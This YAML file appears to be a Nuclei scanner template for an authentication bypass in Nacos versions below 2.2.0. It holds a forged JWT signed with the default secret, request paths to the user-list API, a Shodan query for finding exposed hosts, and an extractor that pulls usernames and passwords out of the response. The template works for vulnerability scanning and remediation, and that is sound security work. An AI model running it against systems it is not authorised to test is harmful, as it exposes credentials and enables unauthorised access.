52 lines
1.3 KiB
YAML
52 lines
1.3 KiB
YAML
id: nacos-authentication-bypass
|
|
|
|
info:
|
|
name: Nacos < 2.2.0 - Authentication Bypass
|
|
author: Esonhugh
|
|
severity: critical
|
|
description: |
|
|
The authentication function of Nacos is can be bypass through default JWT secret.
|
|
reference:
|
|
- https://github.com/alibaba/nacos/issues/10060
|
|
- https://avd.aliyun.com/detail?id=AVD-2023-1655789
|
|
- https://nacos.io/zh-cn/docs/auth.html
|
|
remediation: Change value of jwt secret in the configurations
|
|
metadata:
|
|
max-request: 2
|
|
verified: true
|
|
shodan-query: title:"Nacos"
|
|
tags: auth-bypass,nacos,misconfig,jwt
|
|
|
|
variables:
|
|
token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
|
|
- "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=10&accessToken={{token}}"
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"username":'
|
|
- '"password":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: json
|
|
part: body
|
|
name: extracted-credentials
|
|
json:
|
|
- ".pageItems[]"
|